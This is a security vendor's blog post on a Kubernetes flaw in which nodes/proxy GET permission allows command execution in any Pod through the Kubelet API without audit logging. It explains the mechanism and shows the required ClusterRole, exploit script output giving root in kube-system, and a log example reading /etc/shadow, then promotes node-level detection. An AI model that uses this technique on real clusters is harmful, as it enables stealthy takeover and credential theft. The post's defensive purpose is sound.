January 28, 2026
5
min

Invisible Kubernetes RCE: Why Nodes/Proxy GET is More Dangerous Than You Think

TL;DR: A recently disclosed Kubernetes authorization bypass allows attackers with nodes/proxy GET permissions to execute commands in any Pod across the cluster - and standard Kubernetes audit logging won't capture it. Here's what you need to know and how to detect it.
Petr Zuzanov
Principal Security Researcher
No items found.
No items found.

TL;DR

TL;DR: A recently disclosed Kubernetes authorization bypass allows attackers with nodes/proxy GET permissions to execute commands in any Pod across the cluster - and standard Kubernetes audit logging won't capture it. Here's what you need to know and how to detect it.

TL;DR: A recently disclosed Kubernetes authorization bypass allows attackers with nodes/proxy GET permissions to execute commands in any Pod across the cluster - and standard Kubernetes audit logging won't capture it. Here's what you need to know and how to detect it.

The Attack: From "Read-Only" to Full Cluster Compromise

Security researcher Graham Helton recently disclosed a critical finding in Kubernetes RBAC: the seemingly innocuous nodes/proxy GET permission actually allows remote code execution in any Pod on reachable nodes. This vulnerability was reported to the Kubernetes Security Team and closed as "Won't Fix - Working as Intended."

What Makes This Dangerous?

The nodes/proxy resource is widely used by monitoring and observability tools to collect metrics, logs, and resource statistics. It's found in 69 Helm charts, including:

  • Prometheus
  • Grafana Promtail
  • Datadog Agent
  • Elastic Agent
  • New Relic Infrastructure
  • OpenTelemetry Operator
  • Trivy Operator

Many security teams consider GET permissions "read-only" and safe to grant. This assumption is wrong.

How the Attack Works

The vulnerability exploits a mismatch between WebSocket connection protocols and Kubernetes RBAC authorization:

  1. The Kubelet exposes an /exec endpoint that allows command execution in containers
  2. WebSocket connections require an HTTP GET for the initial handshake (per RFC 6455)
  3. The Kubelet authorizes based on the initial HTTP method, mapping GET to RBAC "get" verb
  4. No secondary authorization check verifies that the user has CREATE permissions for the actual exec operation

The result: anyone with nodes/proxy GET who can reach the Kubelet API (port 10250) can execute arbitrary commands in any Pod.

Attack Flow

Attacker Pod (with nodes/proxy GET)
         |
         v
   Connect to Kubelet (port 10250)
   via WebSocket (HTTP GET handshake)
         |
         v
   Kubelet checks: "Does user have nodes/proxy GET?"
   Yes -> Allow
         |
         v
   Execute commands in ANY Pod
   including privileged system Pods
         |
         v
   Steal tokens, compromise etcd,
   full cluster takeover

Exploitation Example

An attacker with a compromised service account needs only this ClusterRole:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: nodes-proxy-reader
rules:
- apiGroups: [""]
  resources: ["nodes/proxy"]
  verbs: ["get"]

Step-by-Step Exploitation on EKS

From inside a compromised Pod with nodes/proxy GET permissions, an attacker can enumerate all Pods on the node and execute commands in any of them:

$ ./exploit-nodes-proxy.sh

[*] nodes/proxy GET RCE Exploitation Script
[*] ========================================

[Step 1] Extracting service account token...
[+] Token extracted (1847 chars)

[Step 2] Setting API server address...
[+] API Server: <https://kubernetes.default.svc>

[Step 3] Extracting node name from token...
[+] Node Name: ip-192-168-108-240.ec2.internal

[Step 4] Enumerating pods on node via Kubelet API...
[+] Pods discovered:
    kube-system/coredns-7975d6fb9b-6pm2d [coredns]
    kube-system/aws-load-balancer-controller-745964cbdf-lc42k [controller]
    kube-system/metrics-server-867d48dc9c-pzm47 [metrics-server]
    kube-system/aws-node-v2cdk [aws-node]
    kube-system/kube-proxy-gh8rd [kube-proxy]
    default/nginx-deployment-54b9c68f67-mtscs [nginx]
    namespace-x/x-pod-79f4d8bdd6-qtv4x [nginx]

[Step 5] Extracting Node IP for direct Kubelet access...
[+] Node IP: 192.168.108.240

[Step 6] Selecting target pod...
[+] Target: kube-system/coredns-7975d6fb9b-6pm2d (container: coredns)

[Step 7] Executing command in target pod via WebSocket...
[*] Command: id

[!] RESULT:
uid=0(root) gid=0(root) groups=0(root)

[+] Exploitation complete!
[!] This demonstrates RCE with only nodes/proxy GET permissions

The attacker now has code execution in system Pods from kube-system namespace - using only nodes/proxy GET permissions.

The Detection Gap: Audit Logs Won't Save You

Here's the critical problem for SOC teams: Kubernetes AuditPolicy does not log commands executed through direct Kubelet API connections.

When an attacker uses this technique:

  • NO pods/exec audit event is generated
  • The executed command is NOT logged
  • Standard SIEM integrations miss it completely
  • Only subjectaccessreviews logs appear (authorization check only)

This means if you're relying solely on Kubernetes API server audit logs, you have a blind spot for this attack vector.

Native Cloud Security Services Are Blind

This is particularly concerning because native cloud security solutions rely entirely on Kubernetes audit logs for their detection capabilities:

Cloud Provider    Service                      Detection Status
--------------    -------                      ----------------
AWS               GuardDuty for EKS            BLIND
Azure             Defender for Containers      BLIND
GCP               Security Command Center      BLIND

AWS GuardDuty for EKS, for example, analyzes Kubernetes audit logs to detect threats like privilege escalation, anonymous access, and malicious exec commands. But since this technique bypasses the API server entirely, GuardDuty will never see the attack. The same applies to Azure Defender and GCP's native security offerings.

If your security strategy depends on these native services for Kubernetes threat detection, this attack vector represents a complete blind spot in your coverage.

What the Logs Show (and Don't Show)

Via API Server Proxy (logged):

{
  "requestURI": "/api/v1/namespaces/kube-system/pods/etcd/exec?command=cat&command=/etc/shadow",
  "verb": "create",
  "objectRef": {
    "resource": "pods",
    "subresource": "exec"
  }
}

Via Direct Kubelet (NOT logged):

{
  "requestURI": "/apis/authorization.k8s.io/v1/subjectaccessreviews",
  "verb": "create"
  // No record of what command was executed!
}

How Stream.Security Detects this Technique

Unlike solutions that rely solely on Kubernetes API audit logs, our CDR platform deploys lightweight agents directly on cluster nodes. This architecture provides visibility into threats that bypass the API server entirely.

Detection Capabilities

  1. Direct Kubelet API Monitoring
    Our agents monitor connections to port 10250, detecting WebSocket upgrade requests to sensitive endpoints like /exec, /run, and /attach - regardless of how the request was authorized.
  2. Process Execution Visibility
    When a command is executed inside a container, our agent captures it at the node level. Even if the API server never saw the request, we see the process spawn.
  3. Behavioral Analysis
    We correlate unusual patterns:
  • Service accounts accessing Kubelet API directly
  • WebSocket connections from monitoring tool pods to exec endpoints
  • Lateral movement between pods via token theft
  1. Real-Time Alerting
    SOC teams receive immediate alerts with full context:
  • Source pod and service account
  • Target pod and container
  • Executed command
  • Node-level forensic data
Detection & AI Triage in Stream's Platform

Our Recommendations

The nodes/proxy GET bypass demonstrates a fundamental limitation of API-level security monitoring. When attackers can execute commands directly through the Kubelet, traditional detection methods based on Kubernetes audit logs become ineffective.

To detect this technique and similar API server bypasses, organizations must deploy node-level agents capable of:

  1. Process Monitoring
    Track all process executions inside containers at the kernel level. When an attacker runs commands via the Kubelet /exec endpoint, the process still spawns on the node - and node-level agents see it regardless of how the execution was initiated.
  2. Network Connection Tracking
    Monitor network connections to and from the Kubelet API (port 10250). Detect anomalous WebSocket upgrade requests to sensitive endpoints like /exec, /run, /attach, and /portforward. Identify which pods are establishing direct Kubelet connections.
  3. Container Runtime Visibility
    Observe container runtime events that occur outside the API server's view. Capture the full context of command execution including source identity, target container, and executed commands.
  4. Real-Time Correlation
    Correlate process executions with network connections to build a complete picture of attack chains. Link the WebSocket connection to the Kubelet with the resulting process spawn in the target container.

Without node-level visibility, SOC teams have no way to detect this attack. Native cloud services and API-based monitoring solutions will remain blind to nodes/proxy exploitation.

In Conclusion

The nodes/proxy GET vulnerability demonstrates why Kubernetes security requires visibility beyond the API server. Attackers who gain access to this "read-only" permission can achieve full cluster compromise while remaining invisible to standard audit logging.

With Stream.Security's node-based agents, SOC teams gain the visibility needed to detect this technique and similar bypasses - catching threats that would otherwise go unnoticed.

Want to see it in action? Contact us for a demo of the Stream.Security platform.

References

About Stream Security

Stream.Security delivers the only cloud detection and response solution that SecOps teams can trust. Born in the cloud, Stream’s Cloud Twin solution enables real-time cloud threat and exposure modeling to accelerate response in today’s highly dynamic cloud enterprise environments. By using the Stream Security platform, SecOps teams gain unparalleled visibility and can pinpoint exposures and threats by understanding the past, present, and future of their cloud infrastructure. The AI-assisted platform helps to determine attack paths and blast radius across all elements of the cloud infrastructure to eliminate gaps accelerate MTTR by streamlining investigations, reducing knowledge gaps while maximizing team productivity and limiting burnout.

Petr Zuzanov
Principal Security Researcher
We wouldn’t believe it either.